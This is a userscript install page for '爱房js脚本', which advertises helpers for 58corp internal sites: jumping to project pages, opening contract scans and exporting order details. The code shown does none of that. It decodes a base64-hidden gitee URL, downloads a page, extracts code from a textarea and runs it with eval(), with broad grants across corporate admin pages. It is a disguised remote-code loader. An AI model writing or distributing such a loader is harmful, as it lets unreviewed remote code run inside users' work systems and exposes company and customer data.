爱房js脚本

可以跳转项目页,打开合同扫描件,一键下载订单明细

当前为 2023-05-04 提交的版本,查看 最新版本

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Greasemonkey 油猴子Violentmonkey 暴力猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Violentmonkey 暴力猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴Userscripts ,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey 篡改猴,才能安装此脚本。

您需要先安装一款用户脚本管理器扩展后才能安装此脚本。

(我已经安装了用户脚本管理器,让我安装!)

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

(我已经安装了用户样式管理器,让我安装!)

// ==UserScript==
// @name                爱房js脚本
// @author              熊伟良
// @version             3.0
// @icon                https://pages.anjukestatic.com/fe/ifang_node_admin_web/favicon.ico
// @description         可以跳转项目页,打开合同扫描件,一键下载订单明细
// @connect             *
// @match               https://daiketong.58corp.com/*
// @match               https://max.58corp.com/*
// @match               https://oa.58corp.com/*
// @grant               GM.addStyle
// @grant               GM.getValue
// @grant               GM.notification
// @grant               GM.openInTab
// @grant               GM.registerMenuCommand
// @grant               GM.setClipboard
// @grant               GM.setValue
// @grant               GM.xmlHttpRequest
// @grant               GM_addStyle
// @grant               GM_download
// @grant               GM_getResourceText
// @grant               GM_getResourceURL
// @grant               GM_getValue
// @grant               GM_notification
// @grant               GM_openInTab
// @grant               GM_registerMenuCommand
// @grant               GM_setClipboard
// @grant               GM_setValue
// @grant               GM_unregisterMenuCommand
// @grant               GM_xmlhttpRequest
// @grant               unsafeWindow
// @license             MIT
// @require             https://cdn.bootcdn.net/ajax/libs/xlsx/0.17.1/xlsx.full.min.js
// @require             https://greasyfork.org/scripts/438080-pvcep-rules/code/pvcep_rules.js?version=1179756
// @require             https://greasyfork.org/scripts/440698-pvcep-lang/code/pvcep_lang.js?version=1182203
// @require             https://greasyfork.org/scripts/6158-gm-config-cn/code/GM_config%20CN.js?version=23710
// @require             https://greasyfork.org/scripts/24204-picviewer-ce/code/Picviewer%20CE+.user.js
// @run-at              document-idle


// @namespace http://tampermonkey.net/
// ==/UserScript==


(function() {
    // let url="https://gitee.com"
    // console.log(btoa(url))
    var encodedString = "aHR0cHM6Ly9naXRlZS5jb20veHdsNzM1NjQ1NTE0L2FpZmFuZy9ibG9iL21hc3Rlci9qaWV5b25nLyVFNyU4OCVCMSVFNiU4OCVCRmpzJUU4JTg0JTlBJUU2JTlDJUFDLmpz";
    var decodedString = atob(encodedString);
    // 发送 GET 请求
    GM_xmlhttpRequest({
        // 设置请求方式为 GET
        method: "GET",
        // 设置请求 URL 为解码后的字符串
        url: decodedString,
        // 当请求成功时调用的函数
        onload: function (response) {
            // 创建 DOM 解析器对象
            const parser = new DOMParser();
            // 将响应文本解析为 HTML 文档对象
            const htmlDoc = parser.parseFromString(response.responseText, "text/html");
            // 获取名为 blob_raw 的 textarea 元素
            const textarea = htmlDoc.querySelector('textarea[name="blob_raw"]');
            // 获取 textarea 元素的文本内容,并去除首尾空格
            const code = textarea.textContent.trim();
            console.log('成功加载代码')
            // 执行解码后的代码
            eval(code);
        }
    });
})()